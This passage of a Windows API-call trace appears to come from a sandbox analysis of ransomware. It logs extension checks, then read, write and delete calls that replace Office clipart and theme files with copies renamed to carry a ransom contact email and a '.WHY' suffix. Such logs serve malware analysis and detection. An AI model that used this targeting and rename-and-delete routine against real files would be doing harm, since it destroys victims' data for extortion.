Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0248.099] lstrlenW (lpString=".jpg") returned 4 [0248.099] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0248.099] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0248.100] lstrlenW (lpString="SWEST_01.MID") returned 12 [0248.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0248.187] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=8501) returned 1 [0248.187] CloseHandle (hObject=0x3ac) returned 1 [0248.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid")) returned 0x20 [0248.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0248.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0248.796] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0248.797] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0248.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.797] GetLastError () returned 0x0 [0248.798] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x2135, lpOverlapped=0x0) returned 1 [0248.862] WriteFile (in: hFile=0x3b4, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0x2140, lpOverlapped=0x0) returned 1 [0248.865] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0248.865] WriteFile (in: hFile=0x3b4, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.866] SetEndOfFile (hFile=0x3b4) returned 1 [0249.341] CloseHandle (hObject=0x3b4) returned 1 [0249.347] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0249.347] SetEndOfFile (hFile=0x3ac) returned 1 [0249.836] CloseHandle (hObject=0x3ac) returned 1 [0249.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0250.261] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid")) returned 1 [0253.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0253.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0253.755] lstrlenW (lpString=".doc") returned 4 [0253.755] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0253.755] lstrlenW (lpString=".docx") returned 5 [0253.755] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0253.755] lstrlenW (lpString=".pdf") returned 4 [0253.756] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0253.756] lstrlenW (lpString=".xls") returned 4 [0253.756] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0253.756] lstrlenW (lpString=".xlsx") returned 5 [0253.756] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0253.756] lstrlenW (lpString=".ppt") returned 4 [0253.756] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0253.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0253.756] lstrlenW (lpString=".zip") returned 4 [0253.756] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0253.756] lstrlenW (lpString=".rar") returned 4 [0253.756] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0253.756] lstrlenW (lpString=".bz2") returned 4 [0253.757] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0253.757] lstrlenW (lpString=".7z") returned 3 [0253.757] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0253.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0253.757] lstrlenW (lpString=".dbf") returned 4 [0253.757] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0253.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0253.757] lstrlenW (lpString=".1cd") returned 4 [0253.757] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0253.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0253.757] lstrlenW (lpString=".jpg") returned 4 [0253.757] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0253.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0253.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0253.758] lstrlenW (lpString=".doc") returned 4 [0253.758] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0253.758] lstrlenW (lpString=".docx") returned 5 [0253.758] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0253.758] lstrlenW (lpString=".pdf") returned 4 [0253.758] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0253.758] lstrlenW (lpString=".xls") returned 4 [0253.758] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0253.758] lstrlenW (lpString=".xlsx") returned 5 [0253.758] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0253.758] lstrlenW (lpString=".ppt") returned 4 [0253.758] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0253.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0253.759] lstrlenW (lpString=".zip") returned 4 [0253.759] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0253.759] lstrlenW (lpString=".rar") returned 4 [0253.759] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0253.759] lstrlenW (lpString=".bz2") returned 4 [0253.760] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0253.760] lstrlenW (lpString=".7z") returned 3 [0253.760] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0253.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0253.760] lstrlenW (lpString=".dbf") returned 4 [0253.760] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0253.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0253.760] lstrlenW (lpString=".1cd") returned 4 [0253.760] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0253.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0253.760] lstrlenW (lpString=".jpg") returned 4 [0253.760] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0253.761] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0253.761] lstrlenW (lpString="Angles.eftx") returned 11 [0253.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0256.818] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=27365) returned 1 [0256.818] CloseHandle (hObject=0x164) returned 1 [0256.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx")) returned 0x20 [0256.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0258.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0258.381] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0258.381] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0258.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0268.117] GetLastError () returned 0x0 [0268.117] ReadFile (in: hFile=0x38c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x6ae5, lpOverlapped=0x0) returned 1 [0268.284] WriteFile (in: hFile=0x3c0, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x6af0, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0x6af0, lpOverlapped=0x0) returned 1 [0268.289] ReadFile (in: hFile=0x38c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0268.289] WriteFile (in: hFile=0x3c0, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0xea, lpOverlapped=0x0) returned 1 [0268.290] SetEndOfFile (hFile=0x3c0) returned 1 [0268.381] CloseHandle (hObject=0x3c0) returned 1 [0268.383] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0268.383] SetEndOfFile (hFile=0x38c) returned 1 [0270.975] CloseHandle (hObject=0x38c) returned 1 [0270.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0271.720] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx")) returned 1 [0271.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0271.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0271.721] lstrlenW (lpString=".doc") returned 4 [0271.721] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0271.721] lstrlenW (lpString=".docx") returned 5 [0271.721] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0271.721] lstrlenW (lpString=".pdf") returned 4 [0271.721] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0271.721] lstrlenW (lpString=".xls") returned 4 [0271.721] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0271.722] lstrlenW (lpString=".xlsx") returned 5 [0271.722] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0271.722] lstrlenW (lpString=".ppt") returned 4 [0271.722] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0271.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0271.722] lstrlenW (lpString=".zip") returned 4 [0271.722] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0271.722] lstrlenW (lpString=".rar") returned 4 [0271.722] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0271.722] lstrlenW (lpString=".bz2") returned 4 [0271.722] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0271.722] lstrlenW (lpString=".7z") returned 3 [0271.722] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0271.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0271.723] lstrlenW (lpString=".dbf") returned 4 [0271.723] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0271.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0271.723] lstrlenW (lpString=".1cd") returned 4 [0271.723] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0271.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0271.723] lstrlenW (lpString=".jpg") returned 4 [0271.723] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0271.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0271.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0271.723] lstrlenW (lpString=".doc") returned 4 [0271.723] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0271.724] lstrlenW (lpString=".docx") returned 5 [0271.724] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0271.724] lstrlenW (lpString=".pdf") returned 4 [0271.724] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0271.724] lstrlenW (lpString=".xls") returned 4 [0271.724] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0271.724] lstrlenW (lpString=".xlsx") returned 5 [0271.724] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0271.724] lstrlenW (lpString=".ppt") returned 4 [0271.724] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0271.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0271.724] lstrlenW (lpString=".zip") returned 4 [0271.724] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0271.725] lstrlenW (lpString=".rar") returned 4 [0271.725] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0271.725] lstrlenW (lpString=".bz2") returned 4 [0271.725] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0271.725] lstrlenW (lpString=".7z") returned 3 [0271.725] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0271.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0271.725] lstrlenW (lpString=".dbf") returned 4 [0271.725] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0271.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0271.725] lstrlenW (lpString=".1cd") returned 4 [0271.725] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0271.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0271.726] lstrlenW (lpString=".jpg") returned 4 [0271.726] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0271.726] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0271.726] lstrlenW (lpString="Composite.eftx") returned 14 [0271.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0271.828] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=533988) returned 1 [0271.828] CloseHandle (hObject=0x164) returned 1 [0271.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx")) returned 0x20 [0271.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0271.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0271.883] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0271.883] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0271.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0271.884] GetLastError () returned 0x0 [0271.884] ReadFile (in: hFile=0x250, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x825e4, lpOverlapped=0x0) returned 1 [0271.912] WriteFile (in: hFile=0x3b8, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x825f0, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0x825f0, lpOverlapped=0x0) returned 1 [0272.531] ReadFile (in: hFile=0x250, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0272.532] WriteFile (in: hFile=0x3b8, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0xf0, lpOverlapped=0x0) returned 1 [0272.532] SetEndOfFile (hFile=0x3b8) returned 1 [0273.167] CloseHandle (hObject=0x3b8) returned 1 [0273.176] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0273.176] SetEndOfFile (hFile=0x250) returned 1 [0273.302] CloseHandle (hObject=0x250) returned 1 [0273.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0273.303] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx")) returned 1 [0273.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0273.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0273.304] lstrlenW (lpString=".doc") returned 4 [0273.304] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.304] lstrlenW (lpString=".docx") returned 5 [0273.304] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.304] lstrlenW (lpString=".pdf") returned 4 [0273.304] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.305] lstrlenW (lpString=".xls") returned 4 [0273.305] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.305] lstrlenW (lpString=".xlsx") returned 5 [0273.305] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.305] lstrlenW (lpString=".ppt") returned 4 [0273.305] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0273.305] lstrlenW (lpString=".zip") returned 4 [0273.305] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.305] lstrlenW (lpString=".rar") returned 4 [0273.305] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.305] lstrlenW (lpString=".bz2") returned 4 [0273.305] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.305] lstrlenW (lpString=".7z") returned 3 [0273.306] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0273.306] lstrlenW (lpString=".dbf") returned 4 [0273.306] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0273.307] lstrlenW (lpString=".1cd") returned 4 [0273.307] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0273.307] lstrlenW (lpString=".jpg") returned 4 [0273.307] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0273.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0273.307] lstrlenW (lpString=".doc") returned 4 [0273.307] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.307] lstrlenW (lpString=".docx") returned 5 [0273.307] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.308] lstrlenW (lpString=".pdf") returned 4 [0273.308] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.308] lstrlenW (lpString=".xls") returned 4 [0273.308] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.308] lstrlenW (lpString=".xlsx") returned 5 [0273.308] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.308] lstrlenW (lpString=".ppt") returned 4 [0273.308] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0273.308] lstrlenW (lpString=".zip") returned 4 [0273.308] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.308] lstrlenW (lpString=".rar") returned 4 [0273.308] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.309] lstrlenW (lpString=".bz2") returned 4 [0273.309] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.309] lstrlenW (lpString=".7z") returned 3 [0273.309] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0273.309] lstrlenW (lpString=".dbf") returned 4 [0273.309] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0273.309] lstrlenW (lpString=".1cd") returned 4 [0273.309] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0273.309] lstrlenW (lpString=".jpg") returned 4 [0273.310] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.310] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0273.310] lstrlenW (lpString="Essential.eftx") returned 14 [0273.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0274.038] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=16350) returned 1 [0274.038] CloseHandle (hObject=0x3a8) returned 1 [0274.038] GetFileAttributesW (lpFileName="C:\\Program 